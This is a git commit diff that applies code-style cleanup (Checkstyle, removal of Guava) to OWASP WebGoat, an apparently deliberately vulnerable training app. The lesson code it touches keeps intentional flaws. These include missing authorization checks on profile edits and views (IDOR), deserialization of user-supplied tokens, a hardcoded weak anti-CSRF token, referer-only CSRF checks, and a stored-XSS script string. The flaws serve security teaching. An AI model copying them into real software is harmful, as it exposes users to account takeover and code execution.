Code style (#696)

* Remove Guava dependency from WebGoat

* Add Checkstyle to the project with very basic standards so we have a
style across lessons. It does not interfere with basic Intellij formatting
This commit is contained in:
Nanne Baars
2019-11-03 18:11:09 +01:00
committed by René Zubcevic
parent 66bd1d8c1a
commit 1a83e2825e
94 changed files with 829 additions and 828 deletions

View File

@ -31,29 +31,31 @@ import java.util.Map;
public class AccountVerificationHelper {
//simulating database storage of verification credentials
private static final Integer verifyUserId = 1223445;
private static final Map<String,String> userSecQuestions = new HashMap<>();
private static final Integer verifyUserId = 1223445;
private static final Map<String, String> userSecQuestions = new HashMap<>();
static {
userSecQuestions.put("secQuestion0","Dr. Watson");
userSecQuestions.put("secQuestion1","Baker Street");
userSecQuestions.put("secQuestion0", "Dr. Watson");
userSecQuestions.put("secQuestion1", "Baker Street");
}
private static final Map<Integer,Map> secQuestionStore = new HashMap<>();
private static final Map<Integer, Map> secQuestionStore = new HashMap<>();
static {
secQuestionStore.put(verifyUserId,userSecQuestions);
secQuestionStore.put(verifyUserId, userSecQuestions);
}
// end 'data store set up'
// this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code
public boolean didUserLikelylCheat(HashMap<String,String> submittedAnswers) {
public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {
boolean likely = false;
if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
likely = true;
}
if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) &&
(submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) ) {
if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")))
&& (submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) {
likely = true;
} else {
likely = false;
@ -64,7 +66,7 @@ public class AccountVerificationHelper {
}
//end of cheating check ... the method below is the one of real interest. Can you find the flaw?
public boolean verifyAccount(Integer userId, HashMap<String,String> submittedQuestions ) {
public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
//short circuit if no questions are submitted
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
return false;

View File

@ -68,7 +68,7 @@ public class VerifyAccount extends AssignmentEndpoint {
}
// else
if (verificationHelper.verifyAccount(new Integer(userId), (HashMap) submittedAnswers)) {
if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) {
userSessionData.setValue("account-verified-id", userId);
return trackProgress(success()
.feedback("verify-account.success")

View File

@ -35,24 +35,18 @@ public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint {
@PostMapping("/BypassRestrictions/FieldRestrictions")
@ResponseBody
public AttackResult completed(@RequestParam String select, @RequestParam String radio, @RequestParam String checkbox, @RequestParam String shortInput) {
if (select.equals("option1") || select.equals("option2")) {
return trackProgress(failed().build());
}
if (radio.equals("option1") || radio.equals("option2")) {
return trackProgress(failed().build());
}
if (checkbox.equals("on") || checkbox.equals("off")) {
return trackProgress(failed().build());
}
if (shortInput.length() <= 5) {
return trackProgress(failed().build());
}
/*if (disabled == null) {
return trackProgress(failed().build());
}
if (submit.toString().equals("submit")) {
return trackProgress(failed().build());
}*/
if (select.equals("option1") || select.equals("option2")) {
return trackProgress(failed().build());
}
if (radio.equals("option1") || radio.equals("option2")) {
return trackProgress(failed().build());
}
if (checkbox.equals("on") || checkbox.equals("off")) {
return trackProgress(failed().build());
}
if (shortInput.length() <= 5) {
return trackProgress(failed().build());
}
return trackProgress(success().build());
}
}

View File

@ -36,13 +36,13 @@ public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint {
@PostMapping("/BypassRestrictions/frontendValidation")
@ResponseBody
public AttackResult completed(@RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7, @RequestParam Integer error) {
String regex1 = "^[a-z]{3}$";
String regex2 = "^[0-9]{3}$";
String regex3 = "^[a-zA-Z0-9 ]*$";
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";
String regex5 = "^\\d{5}$";
String regex6 = "^\\d{5}(-\\d{4})?$";
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
final String regex1 = "^[a-z]{3}$";
final String regex2 = "^[0-9]{3}$";
final String regex3 = "^[a-zA-Z0-9 ]*$";
final String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";
final String regex5 = "^\\d{5}$";
final String regex6 = "^\\d{5}(-\\d{4})?$";
final String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
if (error > 0) {
return trackProgress(failed().build());
}

View File

@ -22,7 +22,6 @@
package org.owasp.webgoat.challenges;
import com.google.common.collect.Maps;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.extern.slf4j.Slf4j;
@ -40,6 +39,7 @@ import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.annotation.PostConstruct;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;
import java.util.stream.IntStream;
@ -52,7 +52,7 @@ import java.util.stream.IntStream;
@RestController
public class Flag {
public static final Map<Integer, String> FLAGS = Maps.newHashMap();
public static final Map<Integer, String> FLAGS = new HashMap<>();
@Autowired
private UserTrackerRepository userTrackerRepository;
@Autowired
@ -71,7 +71,7 @@ public class Flag {
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
}
@RequestMapping(path="/challenge/flag", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE)
@RequestMapping(path = "/challenge/flag", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult postFlag(@RequestParam String flag) {
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());

View File

@ -31,14 +31,14 @@ import static org.owasp.webgoat.challenges.Flag.FLAGS;
@Slf4j
public class Assignment7 extends AssignmentEndpoint {
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
"<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password." +
"\n \n\n" +
"If you did not request this password change you can ignore this message." +
"\n" +
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
"\n\n" +
"Kind regards, \nTeam WebGoat";
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this "
+ "<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password."
+ "\n \n\n"
+ "If you did not request this password change you can ignore this message."
+ "\n"
+ "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org"
+ "\n\n"
+ "Kind regards, \nTeam WebGoat";
@Autowired
private RestTemplate restTemplate;
@ -48,9 +48,9 @@ public class Assignment7 extends AssignmentEndpoint {
@GetMapping("/challenge/7/reset-password/{link}")
public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {
return ResponseEntity.accepted().body("<h1>Success!!</h1>" +
"<img src='/WebGoat/images/hi-five-cat.jpg'>" +
"<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");
return ResponseEntity.accepted().body("<h1>Success!!</h1>"
+ "<img src='/WebGoat/images/hi-five-cat.jpg'>"
+ "<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");
}
return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT).body("That is not the reset link for admin");
}
@ -76,7 +76,6 @@ public class Assignment7 extends AssignmentEndpoint {
@GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
@ResponseBody
@SneakyThrows
public ClassPathResource git() {
return new ClassPathResource("challenge7/git.zip");
}

View File

@ -20,7 +20,7 @@ public class PasswordResetLink {
}
public static String scramble(Random random, String inputString) {
char a[] = inputString.toCharArray();
char[] a = inputString.toCharArray();
for (int i = 0; i < a.length; i++) {
int j = random.nextInt(a.length);
char temp = a[i];

View File

@ -1,6 +1,5 @@
package org.owasp.webgoat.challenges.challenge8;
import com.google.common.collect.Maps;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.challenges.Flag;
@ -24,7 +23,7 @@ import java.util.stream.Collectors;
@Slf4j
public class Assignment8 extends AssignmentEndpoint {
private static final Map<Integer, Integer> votes = Maps.newHashMap();
private static final Map<Integer, Integer> votes = new HashMap<>();
static {
votes.put(1, 400);
@ -40,9 +39,7 @@ public class Assignment8 extends AssignmentEndpoint {
//Simple implementation of VERB Based Authentication
String msg = "";
if (request.getMethod().equals("GET")) {
HashMap<String, Object> json = Maps.newHashMap();
json.put("error", true);
json.put("message", "Sorry but you need to login first in order to vote");
var json = Map.of("error", true, "message", "Sorry but you need to login first in order to vote");
return ResponseEntity.status(200).body(json);
}
Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
@ -59,8 +56,7 @@ public class Assignment8 extends AssignmentEndpoint {
public ResponseEntity<Map<String, Integer>> average() {
int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum();
int categories = votes.entrySet().stream().mapToInt(e -> e.getKey() * e.getValue()).reduce(0, (a, b) -> a + b);
Map json = Maps.newHashMap();
json.put("average", (int) Math.ceil((double) categories / totalNumberOfVotes));
var json = Map.of("average", (int) Math.ceil((double) categories / totalNumberOfVotes));
return ResponseEntity.ok(json);
}
}

View File

@ -37,8 +37,8 @@ public class ClientSideFilteringAssignment extends AssignmentEndpoint {
@PostMapping("/clientSideFiltering/attack1")
@ResponseBody
public AttackResult completed(@RequestParam String answer) {
return trackProgress("450000".equals(answer) ?
success().feedback("assignment.solved").build() :
return trackProgress("450000".equals(answer)
? success().feedback("assignment.solved").build() :
failed().feedback("ClientSideFiltering.incorrect").build());
}
}

View File

@ -22,12 +22,6 @@
package org.owasp.webgoat.client_side_filtering;
/**
*
*/
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import lombok.SneakyThrows;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.io.ClassPathResource;
@ -48,6 +42,8 @@ import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@ -57,14 +53,17 @@ public class Salaries { // {extends Endpoint {
private String webGoatHomeDirectory;
@PostConstruct
@SneakyThrows
public void copyFiles() {
ClassPathResource classPathResource = new ClassPathResource("employees.xml");
File targetDirectory = new File(webGoatHomeDirectory, "/ClientSideFiltering");
if (!targetDirectory.exists()) {
targetDirectory.mkdir();
}
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "employees.xml")));
try {
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "employees.xml")));
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@RequestMapping(produces = {"application/json"})
@ -73,7 +72,7 @@ public class Salaries { // {extends Endpoint {
NodeList nodes = null;
File d = new File(webGoatHomeDirectory, "ClientSideFiltering/employees.xml");
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
XPath path = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
StringBuffer sb = new StringBuffer();
@ -87,16 +86,16 @@ public class Salaries { // {extends Endpoint {
String expression = sb.toString();
try {
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
nodes = (NodeList) path.evaluate(expression, inputSource, XPathConstants.NODESET);
} catch (XPathExpressionException e) {
e.printStackTrace();
}
int COLUMNS = 5;
List json = Lists.newArrayList();
java.util.Map<String, Object> employeeJson = Maps.newHashMap();
int columns = 5;
List json = new ArrayList();
java.util.Map<String, Object> employeeJson = new HashMap<>();
for (int i = 0; i < nodes.getLength(); i++) {
if (i % COLUMNS == 0) {
employeeJson = Maps.newHashMap();
if (i % columns == 0) {
employeeJson = new HashMap<>();
json.add(employeeJson);
}
Node node = nodes.item(i);
@ -104,11 +103,4 @@ public class Salaries { // {extends Endpoint {
}
return json;
}
// @Override
// public String getPath() {
// return "/clientSideFiltering/salaries";
// }
}

View File

@ -22,13 +22,14 @@
package org.owasp.webgoat.xss;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
//@RestController
@Deprecated
@ -48,8 +49,8 @@ public class CrossSiteScriptingLesson3 extends AssignmentEndpoint {
String[] lines = unescapedString.split("<html>");
String include = (lines[0]);
String first_name_element = doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text();
String last_name_element = doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text();
String fistNameElement = doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text();
String lastNameElement = doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text();
Boolean includeCorrect = false;
Boolean firstNameCorrect = false;
@ -58,10 +59,10 @@ public class CrossSiteScriptingLesson3 extends AssignmentEndpoint {
if (include.contains("<%@") && include.contains("taglib") && include.contains("uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\"") && include.contains("%>")) {
includeCorrect = true;
}
if (first_name_element.equals("${e:forHtml(param.first_name)}")) {
if (fistNameElement.equals("${e:forHtml(param.first_name)}")) {
firstNameCorrect = true;
}
if (last_name_element.equals("${e:forHtml(param.last_name)}")) {
if (lastNameElement.equals("${e:forHtml(param.last_name)}")) {
lastNameCorrect = true;
}

View File

@ -25,7 +25,10 @@ package org.owasp.webgoat.xss.stored;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
/**
* Created by jason on 11/23/16.
@ -33,7 +36,7 @@ import org.springframework.web.bind.annotation.*;
@RestController
public class StoredCrossSiteScriptingVerifier extends AssignmentEndpoint {
//TODO This assignment seems not to be in use in the UI
//TODO This assignment seems not to be in use in the UI
@PostMapping("/CrossSiteScriptingStored/stored-xss-follow-up")
@ResponseBody
public AttackResult completed(@RequestParam String successMessage) {

View File

@ -24,8 +24,6 @@ package org.owasp.webgoat.xss.stored;
import com.beust.jcommander.internal.Lists;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.EvictingQueue;
import com.google.common.collect.Maps;
import org.joda.time.DateTime;
import org.joda.time.format.DateTimeFormat;
import org.joda.time.format.DateTimeFormatter;
@ -50,8 +48,8 @@ public class StoredXssComments extends AssignmentEndpoint {
private WebSession webSession;
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
private static final Map<String, EvictingQueue<Comment>> userComments = Maps.newHashMap();
private static final EvictingQueue<Comment> comments = EvictingQueue.create(100);
private static final Map<String, List<Comment>> userComments = new HashMap<>();
private static final List<Comment> comments = new ArrayList<>();
private static final String phoneHomeString = "<script>webgoat.customjs.phoneHome()</script>";
@ -82,7 +80,7 @@ public class StoredXssComments extends AssignmentEndpoint {
public AttackResult createNewComment(@RequestBody String commentStr) {
Comment comment = parseJson(commentStr);
EvictingQueue<Comment> comments = userComments.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
List<Comment> comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>());
comment.setDateTime(DateTime.now().toString(fmt));
comment.setUser(webSession.getUserName());

View File

@ -49,21 +49,17 @@ public class CSRFGetFlag {
@Autowired
private PluginMessages pluginMessages;
@RequestMapping(path="/csrf/basic-get-flag" ,produces = {"application/json"}, method = RequestMethod.POST)
@RequestMapping(path = "/csrf/basic-get-flag", produces = {"application/json"}, method = RequestMethod.POST)
@ResponseBody
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Map<String, Object> response = new HashMap<>();
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
String[] refererArr = referer.split("/");
if (referer.equals("NULL")) {
if (req.getParameter("csrf").equals("true")) {
Random random = new Random();
@ -93,9 +89,4 @@ public class CSRFGetFlag {
return response;
}
//
// @Override
// public String getPath() {
// return "/csrf/basic-get-flag";
// }
}

View File

@ -23,8 +23,6 @@
package org.owasp.webgoat.csrf;
import com.beust.jcommander.internal.Lists;
import com.google.common.collect.EvictingQueue;
import com.google.common.collect.Maps;
import org.joda.time.DateTime;
import org.joda.time.format.DateTimeFormat;
import org.joda.time.format.DateTimeFormatter;
@ -37,8 +35,7 @@ import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.util.Collection;
import java.util.Map;
import java.util.*;
import static org.springframework.http.MediaType.ALL_VALUE;
@ -50,8 +47,8 @@ public class ForgedReviews extends AssignmentEndpoint {
private WebSession webSession;
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
private static final Map<String, EvictingQueue<Review>> userReviews = Maps.newHashMap();
private static final EvictingQueue<Review> REVIEWS = EvictingQueue.create(100);
private static final Map<String, List<Review>> userReviews = new HashMap<>();
private static final List<Review> REVIEWS = new ArrayList<>();
private static final String weakAntiCSRF = "2aa14227b9a13d0bede0388a7fba9aa9";
@ -79,22 +76,16 @@ public class ForgedReviews extends AssignmentEndpoint {
@PostMapping("/csrf/review")
@ResponseBody
public AttackResult createNewReview(String reviewText, Integer stars, String validateReq, HttpServletRequest request) {
final String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host");
final String referer = (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer");
final String[] refererArr = referer.split("/");
String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host");
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
String referer = (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer");
String[] refererArr = referer.split("/");
EvictingQueue<Review> reviews = userReviews.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
Review review = new Review();
review.setText(reviewText);
review.setDateTime(DateTime.now().toString(fmt));
review.setUser(webSession.getUserName());
review.setStars(stars);
var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList<>());
reviews.add(review);
userReviews.put(webSession.getUserName(), reviews);
//short-circuit

View File

@ -32,19 +32,19 @@ import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@RestController
@AssignmentHints({"idor.hints.idorDiffAttributes1","idor.hints.idorDiffAttributes2","idor.hints.idorDiffAttributes3"})
@AssignmentHints({"idor.hints.idorDiffAttributes1", "idor.hints.idorDiffAttributes2", "idor.hints.idorDiffAttributes3"})
public class IDORDiffAttributes extends AssignmentEndpoint {
@PostMapping("IDOR/diff-attributes")
@ResponseBody
public AttackResult completed(@RequestParam String attributes, HttpServletRequest request) throws IOException {
public AttackResult completed(@RequestParam String attributes) {
attributes = attributes.trim();
String[] diffAttribs = attributes.split(",");
if (diffAttribs.length < 2) {
return trackProgress(failed().feedback("idor.diff.attributes.missing").build());
}
if (diffAttribs[0].toLowerCase().trim().equals("userid") && diffAttribs[1].toLowerCase().trim().equals("role") ||
diffAttribs[1].toLowerCase().trim().equals("userid") && diffAttribs[0].toLowerCase().trim().equals("role")) {
if (diffAttribs[0].toLowerCase().trim().equals("userid") && diffAttribs[1].toLowerCase().trim().equals("role")
|| diffAttribs[1].toLowerCase().trim().equals("userid") && diffAttribs[0].toLowerCase().trim().equals("role")) {
return trackProgress(success().feedback("idor.diff.success").build());
} else {
return trackProgress(failed().feedback("idor.diff.failure").build());

View File

@ -30,7 +30,7 @@ import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
@RestController
@AssignmentHints({"idor.hints.otherProfile1","idor.hints.otherProfile2","idor.hints.otherProfile3","idor.hints.otherProfile4","idor.hints.otherProfile5","idor.hints.otherProfile6","idor.hints.otherProfile7","idor.hints.otherProfile8","idor.hints.otherProfile9"})
@AssignmentHints({"idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9"})
public class IDOREditOtherProfiile extends AssignmentEndpoint {
@Autowired
@ -40,7 +40,7 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
@ResponseBody
public AttackResult completed(@PathVariable("userId") String userId, @RequestBody UserProfile userSubmittedProfile) {
String authUserId = (String)userSessionData.getValue("idor-authenticated-user-id");
String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
// this is where it starts ... accepting the user submitted ID and assuming it will be the same as the logged in userId and not checking for proper authorization
// Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let everyone, right?
// Except that this is a vulnerable app ... so we will
@ -50,12 +50,12 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
currentUserProfile.setColor(userSubmittedProfile.getColor());
currentUserProfile.setRole(userSubmittedProfile.getRole());
// we will persist in the session object for now in case we want to refer back or use it later
userSessionData.setValue("idor-updated-other-profile",currentUserProfile);
userSessionData.setValue("idor-updated-other-profile", currentUserProfile);
if (currentUserProfile.getRole() <= 1 && currentUserProfile.getColor().toLowerCase().equals("red")) {
return trackProgress(success()
.feedback("idor.edit.profile.success1")
.output(currentUserProfile.profileToMap().toString())
.build());
.feedback("idor.edit.profile.success1")
.output(currentUserProfile.profileToMap().toString())
.build());
}
if (currentUserProfile.getRole() > 1 && currentUserProfile.getColor().toLowerCase().equals("red")) {
@ -67,25 +67,25 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
if (currentUserProfile.getRole() <= 1 && !currentUserProfile.getColor().toLowerCase().equals("red")) {
return trackProgress(success()
.feedback("idor.edit.profile.failure2")
.output(currentUserProfile.profileToMap().toString())
.build());
.feedback("idor.edit.profile.failure2")
.output(currentUserProfile.profileToMap().toString())
.build());
}
// else
return trackProgress(failed().
feedback("idor.edit.profile.failure3")
.output(currentUserProfile.profileToMap().toString())
.build());
return trackProgress(failed()
.feedback("idor.edit.profile.failure3")
.output(currentUserProfile.profileToMap().toString())
.build());
} else if (userSubmittedProfile.getUserId().equals(authUserId)) {
return failed().feedback("idor.edit.profile.failure4").build();
}
if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1 ) {
if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1) {
return trackProgress(success()
.feedback("idor.edit.profile.success2")
.output(userSessionData.getValue("idor-updated-own-profile").toString())
.build());
.feedback("idor.edit.profile.success2")
.output(userSessionData.getValue("idor-updated-own-profile").toString())
.build());
} else {
return trackProgress(failed().feedback("idor.edit.profile.failure3").build());
}

View File

@ -22,21 +22,23 @@
package org.owasp.webgoat.idor;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletResponse;
import java.util.HashMap;
import java.util.Map;
@RestController
@AssignmentHints({"idor.hints.otherProfile1","idor.hints.otherProfile2","idor.hints.otherProfile3","idor.hints.otherProfile4","idor.hints.otherProfile5","idor.hints.otherProfile6","idor.hints.otherProfile7","idor.hints.otherProfile8","idor.hints.otherProfile9"})
public class IDORViewOtherProfile extends AssignmentEndpoint{
@AssignmentHints({"idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9"})
public class IDORViewOtherProfile extends AssignmentEndpoint {
@Autowired
UserSessionData userSessionData;
@ -44,16 +46,16 @@ public class IDORViewOtherProfile extends AssignmentEndpoint{
@GetMapping(path = "IDOR/profile/{userId}", produces = {"application/json"})
@ResponseBody
public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) {
Map<String,Object> details = new HashMap<>();
Map<String, Object> details = new HashMap<>();
if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
//going to use session auth to view this one
String authUserId = (String)userSessionData.getValue("idor-authenticated-user-id");
if(userId != null && !userId.equals(authUserId)) {
String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
if (userId != null && !userId.equals(authUserId)) {
//on the right track
UserProfile requestedProfile = new UserProfile(userId);
// secure code would ensure there was a horizontal access control check prior to dishing up the requested profile
if (requestedProfile.getUserId().equals("2342388")){
if (requestedProfile.getUserId().equals("2342388")) {
return trackProgress(success().feedback("idor.view.profile.success").output(requestedProfile.profileToMap().toString()).build());
} else {
return trackProgress(failed().feedback("idor.view.profile.close1").build());

View File

@ -38,27 +38,28 @@ import java.io.ObjectInputStream;
import java.util.Base64;
@RestController
@AssignmentHints({"insecure-deserialization.hints.1","insecure-deserialization.hints.2","insecure-deserialization.hints.3"})
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {
@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token;
long before, after;
long before;
long after;
int delay;
b64token = token.replace('-', '+').replace('_', '/');
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
before = System.currentTimeMillis();
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) {
if (o instanceof String) {
return trackProgress(failed().feedback("insecure-deserialization.stringobject").build());
}
return trackProgress(failed().feedback("insecure-deserialization.wrongobject").build());
}
before = System.currentTimeMillis();
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) {
if (o instanceof String) {
return trackProgress(failed().feedback("insecure-deserialization.stringobject").build());
}
return trackProgress(failed().feedback("insecure-deserialization.wrongobject").build());
}
after = System.currentTimeMillis();
} catch (InvalidClassException e) {
return trackProgress(failed().feedback("insecure-deserialization.invalidversion").build());

View File

@ -1,54 +1,54 @@
package org.owasp.webgoat.deserialization;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;
public class SerializationHelper {
private final static char[] hexArray = "0123456789ABCDEF".toCharArray();
public static Object fromString( String s ) throws IOException ,
ClassNotFoundException {
byte [] data = Base64.getDecoder().decode( s );
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream( data ) );
Object o = ois.readObject();
ois.close();
return o;
}
public static String toString( Serializable o ) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( baos );
oos.writeObject( o );
oos.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static String show() throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeLong(-8699352886133051976L);
dos.close();
byte[] longBytes = baos.toByteArray();
return bytesToHex(longBytes);
}
public static String bytesToHex(byte[] bytes) {
char[] hexChars = new char[bytes.length * 2];
for ( int j = 0; j < bytes.length; j++ ) {
int v = bytes[j] & 0xFF;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
}
package org.owasp.webgoat.deserialization;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;
public class SerializationHelper {
private static final char[] hexArray = "0123456789ABCDEF".toCharArray();
public static Object fromString(String s) throws IOException,
ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(s);
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(data));
Object o = ois.readObject();
ois.close();
return o;
}
public static String toString(Serializable o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static String show() throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeLong(-8699352886133051976L);
dos.close();
